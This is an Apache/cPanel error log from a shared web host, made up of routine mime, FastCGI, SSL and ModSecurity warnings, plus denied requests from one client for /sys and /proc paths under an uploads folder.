[Fri Jul 17 10:24:44.391621 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:44.582778 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:44.680249 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:44.697022 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:6/subsystem/ttyS0/line
[Fri Jul 17 10:24:44.759416 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1k16LQV5zcO01IS_BmwAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1068&page_105=1140
[Fri Jul 17 10:24:44.759461 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1k16LQV5zcO01IS_BmwAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1068&page_105=1140
[Fri Jul 17 10:24:44.815356 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/random/uevent
[Fri Jul 17 10:24:44.920751 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:45.082355 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.175927 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.381946 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.436239 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:45.488958 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.592614 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.646915 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/dma-kmalloc-64/objs_per_slab
[Fri Jul 17 10:24:45.769510 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:45.826190 2026] [ssl:error] [pid 2076193:tid 2076193] (5)Input/output error: [client 66.85.158.91:48796] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:46.752868 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:46.828139 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:46.880450 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:48828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:47.314510 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:48886] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:47.900592 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:47.979413 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:48.081321 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:48.395009 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:48.505865 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:48.608901 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:48.709767 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.015301 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.114071 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.218601 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.316563 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.520247 2026] [core:error] [pid 2075689:tid 2075689] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS0/uartclk
[Fri Jul 17 10:24:49.624311 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.725995 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.726081 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.726107 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:49.844266 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:48996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:50.028757 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.130112 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.230292 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.436299 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.436380 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.436406 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.536973 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.851817 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:50.979772 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.076477 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.299517 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.409035 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.409295 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.556890 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.578450 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:51942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:51.655927 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:51.890030 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:51976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:51.969873 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.070375 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.179495 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.280993 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.386737 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.490022 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.594835 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.807275 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:52.909223 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.008261 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.024251 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:52024] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:53.110426 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.213844 2026] [core:error] [pid 2076258:tid 2076258] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu1/crash_notes
[Fri Jul 17 10:24:53.317055 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.417302 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.817243 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:53.918399 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:54.036584 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:54.132881 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:55.034795 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:52110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:55.220776 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:55.266170 2026] [security2:error] [pid 2075693:tid 2075693] [client 185.191.171.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/node_modules/ext/docs/math/"] [unique_id "alm1n35-BwPGxupoEJk0wAAAAA0"]
[Fri Jul 17 10:24:55.266202 2026] [security2:error] [pid 2075693:tid 2075693] [client 185.191.171.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/node_modules/ext/docs/math/"] [unique_id "alm1n35-BwPGxupoEJk0wAAAAA0"]
[Fri Jul 17 10:24:55.728013 2026] [core:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:06/physical_node/resource0
[Fri Jul 17 10:24:56.631006 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:57.311937 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:58.307718 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:59.510147 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:00.540117 2026] [core:error] [pid 2076258:tid 2076258] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/dquot/validate
[Fri Jul 17 10:25:00.595618 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:52434] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:00.633307 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:52446] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:01.048085 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:04.497491 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:04.570631 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:04.762458 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:04.856121 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:04.957576 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS0/line
[Fri Jul 17 10:25:05.010324 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010425 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010498 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010558 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010590 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010623 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010663 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010702 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010731 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010755 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010782 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010809 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010833 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010859 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010886 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010911 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010938 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.010965 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011009 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011036 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011075 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011099 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011125 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011150 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011172 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011196 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011221 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011245 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011271 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011297 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011321 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011343 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011369 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011394 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011420 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011444 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011468 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011492 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011514 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011547 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011590 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011615 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011640 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011712 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011776 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011806 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011834 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011860 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011887 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011912 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011938 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011964 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.011989 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012013 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012035 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012076 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012104 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012129 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012154 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012179 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012205 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012232 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.012257 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.271753 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.372076 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.646348 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:05.883122 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/subsystem/rescan
[Fri Jul 17 10:25:05.984646 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:06.084449 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:06.186228 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:06.287955 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:06.595217 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:07.266971 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:50726] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:08.495342 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:09.173137 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:09.377981 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:10.297831 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:10.920805 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:50882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:11.925331 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:12.367182 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:52302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:12.763863 2026] [ssl:error] [pid 2075780:tid 2075780] (5)Input/output error: [client 66.85.158.91:52328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:13.171100 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:13.275729 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:13.668374 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:13.766903 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:14.208969 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:15.358247 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:15.448520 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/subsystem/uevent
[Fri Jul 17 10:25:16.382981 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1szuaDdNRw9_WO14yOAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1123&page_105=2316
[Fri Jul 17 10:25:16.383023 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1szuaDdNRw9_WO14yOAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1123&page_105=2316
[Fri Jul 17 10:25:18.510734 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:19.652047 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:19.656870 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:19.734956 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:20.841599 2026] [security2:error] [pid 2076193:tid 2076193] [client 2a03:2880:27ff:5:::0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-global": Permission denied [hostname "www.yashiholdings.com"] [uri "/robots.txt"] [unique_id "alm1uLUVEJ3gwrjEiOQXRAAAABA"]
[Fri Jul 17 10:25:20.841633 2026] [security2:error] [pid 2076193:tid 2076193] [client 2a03:2880:27ff:5:::0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-ip": Permission denied [hostname "www.yashiholdings.com"] [uri "/robots.txt"] [unique_id "alm1uLUVEJ3gwrjEiOQXRAAAABA"]
[Fri Jul 17 10:25:20.867002 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:21.091883 2026] [cgi:error] [pid 2075780:tid 2075780] [client 2a03:2880:27ff:5:::0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 10:25:21.091986 2026] [cgi:error] [pid 2075780:tid 2075780] [client 2a03:2880:27ff:5:::0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 10:25:21.689576 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:21.890973 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:21.993056 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:22.053201 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:22.059853 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:22.194029 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:22.294611 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:22.406092 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
